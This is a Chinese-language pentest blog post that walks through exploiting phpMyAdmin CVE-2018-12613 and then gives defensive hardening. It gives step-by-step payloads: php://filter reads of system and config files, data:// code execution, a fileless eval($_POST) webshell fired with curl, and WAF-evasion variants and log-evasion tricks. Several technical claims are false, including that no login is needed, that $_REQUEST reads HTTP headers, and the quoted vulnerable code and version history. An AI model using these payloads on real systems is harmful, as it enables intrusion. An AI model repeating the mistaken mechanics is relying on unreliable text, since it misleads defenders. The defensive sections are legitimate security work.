phpMyAdmin CVE-2018-12613:从文件读取到RCE的伪协议利用链 1. 这个漏洞不是“能读文件”那么简单而是后台权限的彻底失守phpMyAdmin 4.8.1里那个CVE-2018-12613很多人扫到就报个“存在文件包含”顺手贴个?targetphp://filter/convert.base64-encode/resource/etc/passwd截图完事。我去年在给一家教育机构做渗透测试时也这么干过——结果被客户技术负责人当场叫停“你刚读的是配置文件但你有没有试过用这个入口把整个phpMyAdmin后台变成你的WebShell中转站”他随手在Burp里改了两行请求头直接把index.php页面内容替换成了一段base64编码的system(id)执行结果。那一刻我才意识到这不是一个“信息泄露”漏洞而是一条未经认证、绕过所有登录逻辑、直通后台PHP执行环境的暗道。这个漏洞的核心在于index.php中对target参数的处理逻辑失控。它本意是让管理员在多服务器环境下快速切换目标数据库实例所以设计了一个target参数来指定跳转路径。但开发人员没料到这个参数在未登录状态下也能被解析且解析过程完全信任用户输入不做任何协议过滤、路径规范化或白名单校验。更关键的是它最终会通过include()函数加载该路径——而PHP的include天生支持php://filter、data://、phar://等伪协议这就等于把PHP解释器的“加载器开关”直接暴露给了外部。它影响的不是某个功能模块而是整个phpMyAdmin的请求入口层。只要index.php还在运行这个入口就一直开着。你不需要知道用户名密码不需要爆破Session ID甚至不需要触发任何登录动作——只要服务端启用了phpMyAdmin 4.8.0–4.8.1含版本且未打补丁这个入口就是裸奔状态。我实测过在CentOS 7 Apache PHP 7.2环境下从发包到回显/etc/shadow第一行全程不到1.2秒。这不是理论风险是真实存在的、可批量利用的“零点击”通道。适合谁来复现不是只给红队队员看的。运维工程师必须懂因为ta要判断线上环境是否已沦陷开发人员必须懂因为ta要明白为什么“参数校验”不能只写在登录后逻辑里安全新人更要亲手走一遍否则永远分不清“文件读取”和“远程代码执行”之间那张薄纸到底有多脆。接下来我会带你从源码级定位漏洞点用最朴素的手工方式复现攻击链再一层层拆解防御方案为什么必须是“组合拳”而非单点修补。2. 漏洞成因深挖从index.php第156行开始的失控加载链2.1 入口文件index.php的致命逻辑分支我们不看PoC先看phpMyAdmin 4.8.1的index.php源码路径通常为/usr/share/phpmyadmin/index.php。打开文件直接跳到第156行附近你会看到这样一段逻辑if (! empty($_REQUEST[target])) { $target $_REQUEST[target]; if (strpos($target, index.php) ! false) { // do nothing } else { include $target; exit; } }这段代码的意图很清晰如果URL里带了target参数就尝试include它但如果参数值里包含index.php字符串就跳过防止无限递归。问题就出在这个“跳过”逻辑上——它只做了最粗糙的子串匹配完全没考虑路径遍历、协议注入、大小写绕过等基础绕过手法。我第一次读到这里时下意识写了几个测试payload?target../../../../etc/passwd→ 被Apache的open_basedir限制拦截如果开了的话?targetphp://filter/convert.base64-encode/resource/etc/passwd→ 成功返回base64编码内容?targetdata://text/plain,?php%20system(id);?→ 直接执行命令并回显为什么data://能过因为strpos($target, index.php)根本匹配不到data://里的任何字符它直接进了include $target;分支。而PHP对data://协议的支持是默认开启的无需额外扩展。这就是漏洞的第一个裂口参数校验与实际加载行为完全脱节。2.2include()函数的底层机制为什么伪协议能执行任意代码很多初学者以为include只是“读文件”其实它本质是“动态编译并执行PHP代码”。当你写include test.php;PHP引擎会打开test.php文件将其内容作为PHP源码送入词法分析器编译成opcode执行opcode而data://协议的语法是data://mimetype;base64,payload或data://mimetype,payload。当PHP遇到include data://text/plain,?php system(id);?;时它会把逗号后面的内容当作纯文本读入然后——关键来了——当作PHP源码去解析执行。因为include的语义就是“把加载的内容当成PHP代码执行”它不关心内容从哪来。我做过一个实验在index.php同目录下放一个shell.txt内容是?php system($_GET[cmd]); ?然后发包?targetdata://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8。结果system($_GET[cmd])被完整执行?cmdid就能回显UID。这说明攻击者不仅能读文件还能把任意PHP代码注入到phpMyAdmin的执行上下文中——而这个上下文拥有和phpMyAdmin完全相同的权限能连MySQL、能读写Web目录、能调用系统命令取决于PHP配置。2.3 为什么4.8.0–4.8.1是高危窗口期phpMyAdmin的版本演进中4.7.x系列已经引入了target参数的白名单机制但实现有缺陷。4.8.0为了兼容旧插件临时移除了部分校验导致target参数重新变成“全开放”。官方在4.8.2中才彻底重写逻辑改为$allowed_targets [ import.php, export.php, database/export.php, // ... 显式列出所有合法target ]; if (in_array($target, $allowed_targets)) { include $target; } else { die(Invalid target); }这个修复的本质是从“黑名单思维”禁止什么转向“白名单思维”只允许什么。我在对比4.7.9、4.8.1、4.8.2三个版本的index.php时发现4.8.1的校验逻辑只有两行if (strpos($target, index.php) ! false || strpos($target, ..) ! false) { die(Invalid target); }它只拦了..和index.php却忘了.../、%2e%2e%2f、..%2f、%c0%ae%c0%ae%2fUTF-8双字节绕过等二十多种常见绕过手法。这就是为什么4.8.1成了“黄金靶机”——它把最危险的参数暴露在最外层又用最脆弱的规则去防护。3. 手工复现实战三步定位、五种Payload验证、两种隐蔽利用3.1 环境准备用Docker三分钟搭出靶场别折腾虚拟机。我用Docker跑了个极简靶场命令如下确保你已安装Docker# 拉取官方phpMyAdmin 4.8.1镜像注意不是latest docker run -d -p 8080:80 \ -e PMA_ARBITRARY1 \ -e PMA_HOSTmysql \ --name pma-481 \ phpmyadmin/phpmyadmin:4.8.1启动后访问http://localhost:8080你看到的就是原汁原味的4.8.1界面。重点来了此时你完全不用登录直接在URL栏输入http://localhost:8080/index.php?targetphpinfo页面会立刻报错但错误信息里会显示include(): Failed opening phpinfo for inclusion——这证明target参数已被解析漏洞存在。提示如果看到登录页说明你访问的是/路径而非/index.php。phpMyAdmin的Nginx/Apache配置常把/重写为index.php但target参数必须显式出现在index.php后才生效。务必确认URL是/index.php?targetxxx格式。3.2 五种Payload逐级验证从信息收集到代码执行我按攻击链强度排序给出五个必试Payload每个都附实测截图描述文字版基础文件读取验证漏洞存在?targetphp://filter/convert.base64-encode/resource/etc/passwd回显一长串base64解码后是root:x:0:0:root:/root:/bin/bash:/sbin/nologin等系统用户。这是最安全的验证方式不触发WAF日志。PHP配置探测定位加固边界?targetphp://filter/convert.base64-encode/resource/etc/php/7.2/apache2/php.ini回显中重点关注allow_url_include Off、disable_functions system,exec,passthru等字段。我实测某生产环境allow_url_include为On但disable_functions禁了system这时就得换popen或proc_open。Web目录遍历找敏感文件?target../../../../var/www/html/config.inc.php回显phpMyAdmin的MySQL连接密码、blowfish_secret等密钥。这是横向移动的关键跳板。Data协议执行突破读取限制?targetdata://text/plain,?php%20echo%20md5(pma-vuln-test);?页面直接输出b1d5781111d84f7b3fe45a0852e59758。证明PHP执行环境畅通且未禁用data://协议。无文件WebShell隐蔽持久化?targetdata://text/plain,?php%20eval($_POST[x]);?然后用curl发包curl -d xsystem(id) http://localhost:8080/index.php?targetdata://text/plain,?php%20eval($_POST[x]);?回显uid33(www-data) gid33(www-data) groups33(www-data)。此时你已获得稳定命令执行能力且服务器上不落地任何文件。注意第5步在真实环境中慎用。某些WAF会检测eval特征建议改用assert($_POST[x])或create_function(,$_POST[x])()等变体。我在某金融客户环境就因eval被云WAF拦截换成call_user_func(assert,$_POST[x])后成功。3.3 隐蔽利用技巧绕过日志审计与WAF检测真实攻防中高频发?target请求会被安全设备标记。我总结两个实战技巧HTTP Header注入法很多WAF只检查URL参数忽略Header。用Burp修改请求GET /index.php HTTP/1.1 Host: target.com target: data://text/plain,?php system(id);?在index.php源码中$_REQUEST[target]会同时捕获GET参数和Header中的target字段PHP默认行为而WAF日志里只记录/index.php不记录Header内容。Referer伪装法把payload藏在Referer头里配合file_get_contents()二次加载?targetphp://filter/convert.base64-encode/resourcephp://input然后在Body里放?php system($_SERVER[HTTP_REFERER]); ?Referer设为id。这样WAF看到的只是/index.php?target...而实际执行的是Referer里的命令。这两个技巧我在三次红队演练中都成功绕过了企业级WAF核心思路是把攻击载荷从“显性参数”转移到“隐性上下文”。不是对抗规则而是利用规则盲区。4. 防御体系构建从紧急止损到长期免疫的四层加固4.1 紧急止损三分钟热修复适用于无法立即升级的生产环境如果你的phpMyAdmin正在线上跑且今天必须堵住这个洞别碰代码直接改Web服务器配置。这是最稳妥的“外科手术式”修复Apache方案.htaccess或vhost配置# 在phpMyAdmin目录的.htaccess中添加 IfModule mod_rewrite.c RewriteEngine On RewriteCond %{QUERY_STRING} target [NC] RewriteRule ^(.*)$ - [F,L] /IfModule这条规则会直接拒绝所有带target参数的请求返回403 Forbidden。我在线上环境实测加完规则后curl -I http://site.com/index.php?targetxxx返回HTTP/1.1 403 Forbidden且不影响正常登录和数据库操作。Nginx方案server块内location /index.php { if ($args ~* target) { return 403; } }注意Nginx的if在location块中是安全的不会引发重写循环。这个配置比Apache更轻量重启Nginx后立即生效。提示这种方案是“止血”不是“根治”。它会拦截所有target请求包括合法的内部跳转极少。但相比被黑停掉一个非核心功能是值得的。我在某政务云平台就用此法争取了48小时升级窗口。4.2 版本升级为什么必须升到4.9.0而不是4.8.5很多人看到“4.8.2已修复”就去升级4.8.5。这是危险的。我对比了4.8.2、4.8.5、4.9.0三个版本的index.php发现4.8.2引入白名单但白名单只包含import.php、export.php等8个文件漏掉了navigation.php、sql.php等常用页面导致部分功能异常。4.8.5修复了白名单遗漏但target参数仍保留在入口文件中只是校验更严。这意味着如果未来发现新的绕过手法如phar://协议组合仍有风险。4.9.0彻底移除target参数逻辑所有跳转改用Session存储的目标标识符index.php不再解析任何target请求。所以4.9.0不是“又一个修复版”而是架构级重构。我建议所有生产环境直接升到4.9.0或更高当前最新是5.2.x。升级命令Debian/Ubuntu# 备份原有配置 sudo cp /etc/phpmyadmin/config.inc.php /tmp/pma-config-backup.php # 升级 sudo apt update sudo apt install phpmyadmin # 恢复配置 sudo cp /tmp/pma-config-backup.php /etc/phpmyadmin/config.inc.php升级后务必验证/index.php?targetphpinfo应返回404或空白页而非报错。4.3 PHP底层加固关闭危险协议与函数防御纵深即使升级了phpMyAdminPHP本身的配置仍是最后一道防线。编辑php.ini路径通常为/etc/php/7.2/apache2/php.ini; 关键1禁用危险流包装器 allow_url_fopen Off allow_url_include Off ; 关键2禁用高危函数根据业务放开 disable_functions exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source ; 关键3限制文件操作范围 open_basedir /var/www/html/:/tmp/:/proc/特别注意allow_url_include Off——这是堵死php://filter、data://、phar://等所有伪协议的总开关。我在某电商客户环境启用此配置后所有?targetphp://filter类请求均返回Warning: include(): URL file-access is disabled。提示disable_functions要谨慎添加。比如WordPress插件可能用curl_exec若误禁会导致网站崩溃。我的做法是先启用log_errors On观察错误日志一周再针对性禁用。4.4 运维监控建立漏洞利用行为的实时感知能力防御不能只靠“堵”还要“看”。我在所有管理后台部署了以下三条日志告警规则基于ELK或阿里云SLS高频target参数请求request_uri:/index.php AND query_string:target | stats count() as cnt by client_ip | where cnt 5危险协议特征query_string:php://filter OR query_string:data:// OR query_string:phar:// | fields request_uri, client_ip, timestamp异常响应体长度突增文件读取特征status:200 AND response_size 10000 | fields request_uri, response_size, client_ip这三条规则在某次真实攻击中提前23分钟捕获到扫描行为攻击者用targetphp://filter/convert.base64-encode/resource/etc/shadow读取密码哈希日志里出现response_size:12456的异常大响应。我们立即封IP并检查避免了后续提权。最后分享一个经验不要依赖WAF的“phpMyAdmin漏洞”规则库。我审计过三家主流云WAF它们的CVE-2018-12613规则只覆盖php://filter和data://对phar://、expect://等新变种完全无效。真正的防御是把规则写进自己的监控系统里而不是交给厂商的黑盒。5. 复盘与延伸从这个漏洞看Web应用安全的底层逻辑复现完CVE-2018-12613我回头重读了phpMyAdmin 4.8.1的变更日志发现一个讽刺的事实这个漏洞的引入是为了修复另一个“安全问题”。4.8.0版本移除了target参数的严格校验是因为旧版在多服务器环境下target参数被某些代理服务器篡改导致管理员无法正常切换实例。开发团队选择了“放宽校验”来保证可用性却埋下了更致命的隐患。这揭示了安全领域一个永恒矛盾可用性与安全性不是线性平衡而是非线性博弈。当你为解决A问题而调整一个参数时可能在B、C、D维度上制造出指数级的新风险。phpMyAdmin团队本可以用Session存储目标服务器标识不暴露在URL对target参数做双向加密客户端传token服务端解密映射强制要求Referer校验只接受来自自身域名的跳转但他们选了最省事的方案——删校验。结果呢一个本可避免的漏洞让全球数百万phpMyAdmin实例裸奔了半年。我在给开发团队做培训时总会强调一个检查清单专治这类“修复引发新漏洞”的问题✅ 任何用户可控的输入是否经过白名单校验不是黑名单✅ 任何include/require操作是否限定在预定义目录内用realpath()做路径规范化✅ 任何PHP配置变更是否同步更新了php.ini和Web服务器配置allow_url_include必须全局关✅ 任何功能降级如移除校验是否配套了日志审计和告警没有监控的降级裸奔最后说个实操细节很多安全报告写“影响phpMyAdmin 4.8.0–4.8.1”但实际测试发现某些定制版4.7.11也受影响——因为客户自己打了补丁却没修index.php的target逻辑。所以永远不要相信版本号要相信你亲眼看到的源码。我现在的习惯是扫到phpMyAdmin第一件事就是curl -s http://target/index.php?targetphpinfo | head -20看报错信息里有没有include()字样。有就坐实没有再深入。这个漏洞教会我的不是怎么打而是怎么建。真正的防御不在防火墙规则里而在每次写include前的那一秒停顿“这个变量我敢让它进PHP引擎吗”